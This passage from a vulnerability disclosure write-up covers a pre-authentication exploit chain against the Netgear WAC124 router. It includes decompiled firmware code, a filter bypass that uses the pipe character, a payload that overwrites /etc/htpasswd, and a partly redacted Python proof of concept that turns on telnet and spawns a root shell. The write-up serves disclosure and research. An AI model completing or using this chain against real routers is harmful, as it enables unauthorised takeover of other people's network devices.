* Connected to 192.168.0.100 (192.168.0.100) port 80 (#0)
> GET /***REDACTED*** HTTP/1.1
> Host: 192.168.0.100g
> Accept: */*
> User-Agent: Mozilla/5.0
> 
***REDACTED*** HTTP/1.1 200 Ok
Server: mini_httpd/1.24 10May2016
Date: Tue, 07 Sep 2021 12:09:55 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 7441
Last-Modified: Fri, 20 Mar 2020 06:26:17 GMT
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1;mode=block
X-Content-Type-Options: nosniff
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><link rel="stylesheet" href="style/top.css">
<script language="javascript" type="text/javascript" src="funcs.js"></script>
<script language="javascript" type="text/javascript" src="top.js"></script>
<script language="javascript" type="text/javascript" src="string.js"></script>
<script language="javascript" type="text/javascript" src="utility.js"></script>
<script language="javascript" type="text/javascript" src="linux.js"></script>
<link rel="stylesheet" href="style/form.css">
<script language="javascript" type="text/javascript">
//NOTE: set nvram "dbg_cpu_mirror=1" to let cpu-port mirror to lan0 
var telnet_status = "@dbg_telnet_stat#";
var wan_mirror_status = "@dbg_wan_mirror_stat#";
var dbg_store_location = "@dbg_storage_location#";
var dbg_wifi_band = "@dbg_wifi_band#";
var dbg_button_status = "@dbg_button_status#";
var dbg_ipv6_ping_status = "@dbg_ipv6_ping_status#";
...

<div id="other">
<table width="100%" border="0" cellpadding="0" cellspacing="2">
	<tr><td colspan="4"><input type="checkbox" name="enable_telnet" id="enable_telnet" onClick="return dbg_configure('telnet')"><b languageCode="">Enable Telnet</b></td></tr>
	<tr><td colspan="4"><input type="checkbox" name="wan_lan_mirror" id="wan_lan_mirror" onClick="return dbg_configure('wan_mirror')"><b languageCode="">WAN Port mirror to LAN port1</b></td></tr>
	<tr><td colspan="4"><input type="checkbox" name="ipv6_ping_enable" id="ipv6_ping_enable" onClick="return dbg_configure('ipv6_ping')"><b languageCode="">Allow external IPv6 hosts ping internal IPv6 hosts</b></td></tr>
</table>
</div>
<!--<input type="hidden" name="todo" value="changelanguage">-->
<input type="hidden" name="this_file" value="debug.htm">
<input type="hidden" name="next_file" value="debug.htm">
<input type="hidden" name="SID" value="@SID#">
<input type="hidden" name="h_language" value="@h_language#">
</form>

<script language="javascript" type="text/javascript" src="langs.js"></script>

</body>
</html>

* Closing connection 0

Finding Command Injection

We now have a working authentication bypass, and we can now easily turn on the Telnet console to get access into the shell. But we still have some remaining problems; we don't have the administrator's credentials.

Although we have the arbitrary file read, we will not talk about it since it requires some preconditions to leak the credentials.

Again, looking back at the setup.cgi code, I found something called the COMMAND function, and this function seems to work like a typical system() function, but with a format string support.

                **************************************************************
                *                       THUNK FUNCTION                       *
                **************************************************************
                thunk undefined COMMAND()
                    Thunked-Function: <EXTERNAL>::COMMAND
                    assume t9 = 0x4a0e10
undefined         v0:1           <RETURN>
                <EXTERNAL>::COMMAND                             XREF[210]:   Entry Point(*), 
                                                                            vuln_func1:00409ad8(c), 
                                                                            vuln_func1:00409b2c(c), 
                                                                            vuln_func1:00409be0(c), 
                                                                            FUN_0040b9ec:0040bb88(c), 
                                                                            FUN_0040ca70:0040cf98(c), 
                                                                            FUN_0040ca70:0040d04c(c), 
                                                                            FUN_0040ca70:0040d07c(c), 
                                                                            FUN_0040d808:0040d8cc(c), 
                                                                            FUN_0040d808:0040d8e4(c), 
                                                                            FUN_004138f8:00413930(c), 
                                                                            FUN_00413998:004139cc(c), 
                                                                            FUN_00413a50:00414c5c(c), 
                                                                            FUN_00415f94:00415fa4(j), 
                                                                            FUN_00450968:00450a88(c), 
                                                                            FUN_00450968:00450aa0(c), 
                                                                            FUN_0046a880:0046a990(c), 
                                                                            FUN_004858dc:004859e0(c), 
                                                                            FUN_004858dc:004859f8(c), 
                                                                            del_folder:00495aa8(c), [more]
004a0e10 10 80 99 8f     lw         t9,-0x7ff0(gp)=>__DT_PLTGOT                      = 00000000
        assume t9 = <UNKNOWN>
004a0e14 21 78 e0 03     move       t7,ra
004a0e18 09 f8 20 03     jalr       t9
004a0e1c 9c 01 18 24     _li        t8,0x19c

While looking at its XREF functions, I saw a function where you can set up a password for the iTunes Server. The function writes password to /tmp/itunes/apple.remote when remote_passcode is a valid name.

// 004d99d0 44 dc 4a 00     addr       s_iserver_allow_ctrl_004adc44                    = "iserver_allow_ctrl"
// 004d99d4 d4 87 40 00     addr       FUN_004087d4

undefined4 FUN_004087d4(undefined4 param_1)

{
  undefined4 uVar1;
  int iVar2;
  char *pcVar3;
  
  uVar1 = find_val(param_1,"remote_passcode");
  iVar2 = test_command_inject(uVar1);
  if (iVar2 == 0) {
    uVar1 = find_val(param_1,"this_file");
    alert("Invalid passcode value!",uVar1);
    uVar1 = 0xffffffff;
  }
  else {
    uVar1 = find_val(param_1,"remote_passcode");
    nvram_set("remote_passcode",uVar1);
    nvram_commit();
    pcVar3 = (char *)nvram_get("remote_passcode");
    if (pcVar3 == (char *)0x0) {
      pcVar3 = "";
    }
    if (*pcVar3 != '\0') {
      COMMAND("/bin/echo dummy > /tmp/itunes/apple.remote");
      COMMAND("/bin/echo %s >> /tmp/itunes/apple.remote",pcVar3);
    }
    sleep(2);
    uVar1 = find_val(param_1,"this_file");
    html_parser(uVar1,param_1,key_fun_tab);
    uVar1 = 0;
  }
  return uVar1;
}

However, we see a check function called test_command_inject before the COMMAND function is actually being executed. Let's have a look at the test_command_inject function.

undefined4 test_command_inject(char *param_1)

{
  char *pcVar1;
  FILE *__stream;
  
  pcVar1 = strstr(param_1,"/bin");
  if (((pcVar1 == (char *)0x0) && (pcVar1 = strstr(param_1,"/sbin"), pcVar1 == (char *)0x0)) &&
     (pcVar1 = strchr(param_1,0x60), pcVar1 == (char *)0x0)) {
    return 1;
  }
  __stream = fopen("/dev/console","a+");
  if (__stream != (FILE *)0x0) {
    fprintf(__stream,"[%s::%s():%d] ","other.c","test_command_inject",0xa2e);
    fprintf(__stream,"Possible COMMAND injection detected:\"%s\"!\n",param_1);
    fclose(__stream);
  }
  return 0;
}

We see that /bin, /sbin, `, 0x00 are blocked. Fortunately, we don't have the vertical bar(|) being blocked by the check function.

Since the command is /bin/echo [input] >> /tmp/itunes/apple.remote, We can put something like admin:styexp>/etc/htpasswd|, which eventually becomes

/bin/echo admin:styprexp>/etc/htpasswd|>>/tmp/itunes/apple.remote on the actual execution.

With this way, we can overwrite /etc/htpasswd with the command injection vulnerability. There is no need to leak any credentials as we can directly run system commands from this function.

RCE#2 Exploit PoC (No precondition)

Exploit Code

There is no precondition required to run this exploit. Any attacker who has access to www.routerlogin.com can exploit and get the system shell from the server.

To prevent people from running the exploit all over the internet, I decided to remove some of its codes for now. However, it shouldn't be too difficult for you to make this snippet to work.

#!/usr/bin/python -u
# -*- coding: utf-8 -*-

"""

Title: Netgear WAC124 pre-auth exploit by stypr @ Flatt Security Inc.
Developer: stypr @ Flatt Security Inc.
Website: https://harold.kim/, https://flatt.tech/
Date: 2021-07-07

This exploit contains two vulnerabilities.
  - Authentication Bypass
    - This will gain privileges for admin
    - Also, it will trigger
  - Command Injection
    - Since we have the admin privilege, we can now have more features available.
    - Some of codes are vulnerable to command injection, in which we can overwrite admin password.
    - There are filters available, but currently it is possible to bypass filters.

"""

...

# Real functions start here
def check_vulnerable():
    """
    Check if the server is vulnerable.
    """
    debug_htm = "CHANGEME"
    resp = send_get_request(path="/setup.cgi?next_file=" + debug_htm)
    resp = resp.decode()
    if "Enable Telnet" in resp:
        print("[.] It seems to be exploitable!")
        return True
    return False


def trigger_telnet_on():
    """
    Trigger telnet on by authentication bypass
    """
    todo = "CHANGEME"
    debug_htm = "CHANGEME"

    # Note: todo is bypassed
    resp = send_get_request(
        path="/setup.cgi?" + todo + "=dbg_configure&telnet=1&this_file=" + debug_htm + "&next_file=" + debug_htm,
    )
    resp = resp.decode()
    if "Enable Telnet" in resp:
        return True
    return False


def command_injection():
    """
    Trigger command injection to overwrite /etc/htpasswd
    """
    todo = "CHANGEME"
    usb_media = "CHANGEME"
    remote_passcode = "admin:styexp%3E/etc/htpasswd|"

    # Note: todo is bypassed
    resp = send_get_request(
        path="/setup.cgi?" + todo + "=iserver_allow_ctrl&remote_passcode=" + remote_passcode + "&this_file=" + usb_media
        
    )
    resp = resp.decode()
    if "itunes_server_enable" in resp:
        return True
    return False


def trigger_shell(username, password):
    """
    Triggering shell
    """
    with Telnet(HOST, 23) as session:
        session.read_until(b"login: ")
        session.write(username.encode() + b"\n")
        session.write(password.encode() + b"\n")
        session.interact()


if __name__ == "__main__":
    print("[*] Checking if the bug is exploitable...")
    result = check_vulnerable()
    if not result:
        print("[-] Maybe it is not exploitable......")
        sys.exit(-1)

    print("[*] Enabling telnet...")
    result = trigger_telnet_on()
    if not result:
        print("[-] Failed to trigger telnet on.. Maybe it's fixed.")
        sys.exit(-1)

    print("[*] Overwriting /etc/htpasswd...")
    result = command_injection()
    if not result:
        print("[-] Failed to overwrite /etc/htpasswd")
        sys.exit(-1)

    print("[*] Triggering shell...")
    trigger_shell("admin", "styexp")

Demonstration Video

The demonstration video includes the actual working exploit of the PoC code described above. The exploit will bypass the authentication, perform a command injection to overwrite the credentials and spawn a shell while being an unauthorized user.

Click the image to see the video

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment